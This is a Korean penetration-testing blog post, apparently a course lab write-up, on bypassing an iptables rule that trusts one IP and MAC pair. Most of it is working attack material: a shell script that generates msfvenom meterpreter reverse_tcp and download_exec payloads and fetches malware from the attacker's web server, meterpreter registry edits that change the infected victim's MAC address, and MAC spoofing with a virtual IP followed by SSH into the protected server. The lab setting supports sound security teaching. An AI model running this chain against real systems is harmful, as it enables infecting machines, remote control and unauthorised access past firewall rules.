Linux/모의해킹

Victim2 의 IP 주소와 MAC 주소의 정책을 우회하기

GGkeeper 2022. 1. 8. 02:40

미션> Victim2의 IP주소와 MAC 주소의 정책을 우회하기

   Client(Admin)                        MITM                             Server
[Victim1(WinXP)] <-- 192.168.108.2    [Attacker]  192.168.108.105 --> [Victim2(CentOS7)]
192.168.108.105                     192.168.108.102                   192.168.108.100
00:0c:29:0e:30:1e                   00:0c:29:e6:4d:4a                 00:0c:29:1c:3a:76
00:0c:29:0e:30:1f                   00:0c:29:0e:30:1e    

윈도우 MAC주소 변경, 리눅스 MAC주소를 변경할 수 있다.

IP주소 192.168.108.105 MAC 00:0C:29:0E:30:1E

Victim2# iptables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       all  --  0.0.0.0/0            0.0.0.0/0            state INVALID
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
ACCEPT     all  --  192.168.108.1        0.0.0.0/0           
ACCEPT     all  --  192.168.108.105      0.0.0.0/0            MAC 00:0C:29:0E:30:1E
DROP       all  --  0.0.0.0/0            0.0.0.0/0           

공격자에 의해서 Victim1을 공격해서 metasploit의 meterpreter로 연결한 상태에서
Victim1의 맥주소를 00:0C:29:0E:30:1E -> 00:0C:29:0E:30:1F 변경한다.
공격자의 MAC주소를  00:0c:29:e6:4d:4a -> 00:0c:29:0e:30:1e 변경한다.
ARP Spoofing 공격을 한다.
ssh -b 로 Victim2로 접속한다.  (가능하지 않을까요 ????)

구글에서 리눅스 MAC주소 변경, 윈도우XP MAC주소 변경으로 검색해서 확인한 후 미션을 수행한다.

>>> !!! 이론상 생각했던 내용을 실제 적용해 봤는데 생각대로 역시 성공했다. !!! <<<

1. Victim2 방화벽 룰 확인
Victim2에서 방화벽 룰을 확인한다.
방화벽 룰에 IP주소  192.168.108.105 와 MAC주소 00:0C:29:0E:30:1E 가 설정되어 있어서
공격자는 이 두 가지를 모두 우회해야 한다.
Victim2# iptables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       all  --  0.0.0.0/0            0.0.0.0/0            state INVALID
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
ACCEPT     all  --  192.168.108.1        0.0.0.0/0           
ACCEPT     all  --  192.168.108.105      0.0.0.0/0            MAC 00:0C:29:0E:30:1E
DROP       all  --  0.0.0.0/0            0.0.0.0/0           

Victim2에서 arp 캐쉬 테이블을 확인한다.
Victim2# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.108.102          ether   00:0c:29:0e:30:1e   C                     ens33
192.168.108.254          ether   00:50:56:fc:1d:0c   C                     ens33
192.168.108.105          ether   00:0c:29:0e:30:1e   C                     ens33
192.168.108.2            ether   00:50:56:e2:02:72   C                     ens33
192.168.108.1            ether   00:50:56:c0:00:08   C                     ens33

2. SSH 접속 
공격자에서 Victim2로 접속하면 접속이 안된다.
이유는 방화벽 룰에 IP주소(192.168.108.105)와 MAC주소(00:0C:29:0E:30:1E)가 
일치해야만 접근할 수 있기 때문이다.
Attacker# ssh 192.168.108.100
^C  <-- Ctrl + C 를 눌러서 취소한다.

3. 악성코드 감염
Attacker가 metasplot으로 대기할 때 Victim1에서 악성코드를 수동으로 다운로드 받아 실행하는 시나리오로 진행한다.
지난 수업 때 만든 download_exec2.sh 자동화 파일을 이용한다.
Attacker# vi download_exec2.sh 
-- download_exec2.sh --
#!/bin/sh
# 파일명 : download_exec2.sh
# 프로그램 설명 : download_exec payload를 자동으로 생성하는 스크립트 파일
# 작성일 : 2022.1.5
# 작성자 : linuxmasternet

# 1. 변수 설정
filename="download_exec2.rc"
attackerIP="192.168.108.102"
port="443"
download_exec="/var/www/html/download_exec.exe"
malware="/var/www/html/malware.exe"

# 2. 악성코드 생성
# msfvenom 옵션
# -a : 아키텍처
# --platform : 플래폼
# -p : 페이로드  CMD=실행할명령어
# -f : 파일 포맷 형식
# -b : 제거할 문자
# -e : 인코딩 방식
# -o : 저장할 파일명

echo ">>> download_exec2.sh 를 실행합니다. <<<"
malware1="msfvenom -a x86 --platform windows  -p windows/meterpreter/reverse_tcp \
lhost=$attackerIP lport=$port -f exe -o $malware"

malware2="msfvenom -a x86 --platform windows -p windows/download_exec \
EXE=malware.exe URL=http://$attackerIP/malware.exe -e x86/shikata_ga_nai \
-f exe -b '\x00\xff' -o $download_exec"

# malware1, malware2를 실행한다.
$malware1
$malware2

# 3. rc 파일 생성
cat << EOF > $filename
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $attackerIP
set LPORT $port
run
EOF

# 4. msfconsole 실행
msfconsole -r $filename

# 5. 파일 삭제
rm -f $malware
rm -f $download_exec
rm -f $filename
echo ">>> download_exec2.sh 를 종료합니다. <<<"
-- download_exec2.sh --

Attacker# chmod 755 download_exec2.sh 

Attacker# ./download_exec2.sh 
>>> download_exec2.sh 를 실행합니다. <<<
  :
  :(생략)
resource (download_exec2.rc)> run
[*] Started reverse TCP handler on 192.168.108.102:443 
[*] Sending stage (175174 bytes) to 192.168.108.105
[*] Meterpreter session 1 opened (192.168.108.102:443 -> 192.168.108.105:1042 ) at 2022-01-07 07:32:25 -0500

이 부분은 나중에 여러 시나리오들을 생각할 수 있기 때문에 많은 연구가 필요해 보인다. 
악성코드 감염은 실제 지난번 실습했던 와이어샤크 취약점이나 아드레날린 취약점 그리고 향후에 진행할 pdf 취약점을 
통해서 얼마든지 자동으로 감염시킬 수 있지만 여기서는 간단하게 Victim1에서 악성코드를 수동으로 다운로드 받아 
실행해서 악성코드에 감염되는 것으로 한다.
http://192.168.108.102/download_exec.exe

  :
  :(생략)
resource (download_exec2.rc)> run
[*] Started reverse TCP handler on 192.168.108.102:443 
[*] Sending stage (175174 bytes) to 192.168.108.105
[*] Meterpreter session 1 opened (192.168.108.102:443 -> 192.168.108.105:1042 ) at 2022-01-07 07:32:25 -0500

Victim1이 악성코드에 감염되면 공격자에게 연결되고 meterpreter 쉘이 실행된다.
meterpreter >

4. Victim1 MAC주소 변경
Victim1이 공격자에게 연결된 상태에서 Victim1의 네트워크카드를 확인한다.
{4D36E972-E325-11CE-BFC1-08002bE10318} 에 레지스트에서 직접 확인한다.
meterpreter > reg enumkey -k HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\0001
Enumerating: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001

  Keys (2):

Linkage
Ndi

  Values (28):

BUS_TO_SCAN
BUSTIMER
LED0
LED1
LED2
LED3
Priority8021p

          :
  :(생략)

MTU
TsoEnable
InfSectionExt
NetworkAddress   <-- 여기가 MAC주소가 저장된 곳이다.

reg queryval 명령어로 Victim1의 레지스트리 키인 NetworkAddress 를 확인하면 000C290E301e 의 MAC 주소값이 저장되어 있다.
meterpreter > reg queryval -k  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\0001 -v NetworkAddress
Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001
Name: NetworkAddress
Type: REG_SZ
Data: 000C290E301e  <-- 변경하기 전 MAC 주소

reg setval 명령어로 Victim1의 레지스트리 키의 MAC 주소값을 000C290E301e 에서 000C290E301F 로 변경한다.
meterpreter > reg setval -k HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\0001 -v NetworkAddress -d "000C290E301F"
Successfully set NetworkAddress of REG_SZ.

reg queryval 명령어로 변경된 MAC 주소를 확인한다.
meterpreter > reg queryval -k  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002bE10318}\\0001 -v NetworkAddress
Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001
Name: NetworkAddress
Type: REG_SZ
Data: 000C290E301F  <-- 변경된 MAC 주소

MAC 주소를 변경시켰다면 Victim1의 PC를 재부팅 시키고 PC가 재부팅되면서 새로운 MAC주소로 활성화된다.
meterpreter > reboot
Rebooting...
meterpreter > 
[*] 192.168.108.105 - Meterpreter session 4 closed.  Reason: Died

Victim1(Windows XP) PC가 재부팅되면 cmd 창을 실행해서 ipconfig/all 명령어로 MAC주소가 변경된걸 확인한다.
C:\Documents and Settings\ksw>ipconfig/all

Windows IP Configuration

        Host Name . . . . . . . . . . . . : victim_winxp
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter

        Physical Address. . . . . . . . . : 00-0C-29-0E-30-1F  <-- 변경된 MAC 주소
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 192.168.108.105
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.108.2
        DNS Servers . . . . . . . . . . . : 168.126.63.1

외부로 ping이 되는지 확인하면 통신이 잘 되는걸 확인할 수 있다.
C:\Documents and Settings\ksw>ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=47ms TTL=128
Reply from 8.8.8.8: bytes=32 time=47ms TTL=128
Reply from 8.8.8.8: bytes=32 time=46ms TTL=128
Reply from 8.8.8.8: bytes=32 time=47ms TTL=128

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 46ms, Maximum = 47ms, Average = 46ms

5. 공격자 MAC주소 변경
Victim2에서 IP주소와 MAC주소 두개의 조건에 해당하는 방화벽 룰을 우회하기 위해서 공격자 자신의 
MAC주소를 Victim1(Windows XP)의 이전 MAC주소로 변경한다.

변경 전 MAC 주소는 00:0c:29:e6:4d:4a 이며 이 부분은 실습하는 사람들마다 MAC 주소는 다를 수 있다.
Attacker# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.108.102  netmask 255.255.255.0  broadcast 192.168.108.255
        inet6 fe80::20c:29ff:fee6:4d4a  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:e6:4d:4a  txqueuelen 1000  (Ethernet)
        RX packets 82136  bytes 7272035 (6.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 93434  bytes 17195501 (16.3 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 198  bytes 20721 (20.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 198  bytes 20721 (20.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

macchanger 는 MAC주소를 변경하는 명령어로 이 명령어를 이용해서 공격자의 eth0의 MAC주소를 
Victim1(Windows XP)의 이전 MAC주소인 00:0c:29:e6:4d:4a 에서 00:0c:29:0e:30:1e로 변경한다.
Attacker# macchanger -m 00:0c:29:0e:30:1e eth0
Current MAC:   00:0c:29:e6:4d:4a (VMware, Inc.)
Permanent MAC: 00:0c:29:e6:4d:4a (VMware, Inc.)
New MAC:       00:0c:29:0e:30:1e (VMware, Inc.)  <-- 변경된 MAC주소

ifconfig 로 확인하면 공격자의 MAC주소가 Victim1(Windows XP)의 이전 MAC주소로 변경된 것을 확인할 수 있다.
Attacker# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.108.102  netmask 255.255.255.0  broadcast 192.168.108.255
        inet6 fe80::20c:29ff:fee6:4d4a  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:0e:30:1e  txqueuelen 1000  (Ethernet)
        RX packets 82197  bytes 7276627 (6.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 93478  bytes 17200407 (16.4 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 198  bytes 20721 (20.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 198  bytes 20721 (20.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

6. 가상 IP주소 등록
공격자의 가상 IP주소를 Victim1(Windows XP)의 IP주소로 등록한다.
Attacker# ifconfig eth0:1 192.168.108.105

7. Victim2 접속
Attacker의 가상 IP주소와 연결시키는 바인딩 옵션인 ssh -b 옵션을 이용해서 Victim2로 접근하면
방화벽 룰에 설정되어 있던 IP주소와 MAC주소가 일치하므로 Victim2의 방화벽 룰을 우회해서 접속할 수 있다.
Attacker# ssh -b 192.168.108.105 192.168.108.100
root@192.168.108.100's password: 
Last login: Fri Jan  7 15:57:12 2022 from 192.168.108.105
Victim2# 

Victim2# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.108.100  netmask 255.255.255.0  broadcast 192.168.108.255
        inet6 fe80::5f9f:bfad:b761:97cf  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:1c:3a:76  txqueuelen 1000  (Ethernet)
        RX packets 323964  bytes 324682415 (309.6 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 470121  bytes 1000560795 (954.2 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 371  bytes 34263 (33.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 371  bytes 34263 (33.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

'Linux > 모의해킹' 카테고리의 다른 글

ICMP Redirect 공격하기  (0) 2022.01.11
ARP 정적 변경하기  (0) 2022.01.11
iptables 에서 MAC 주소 설정하기  (0) 2022.01.08
IP Spoofing 기법을 이용한 방화벽 우회  (0) 2022.01.08
DNS Spoofing 공격  (0) 2022.01.08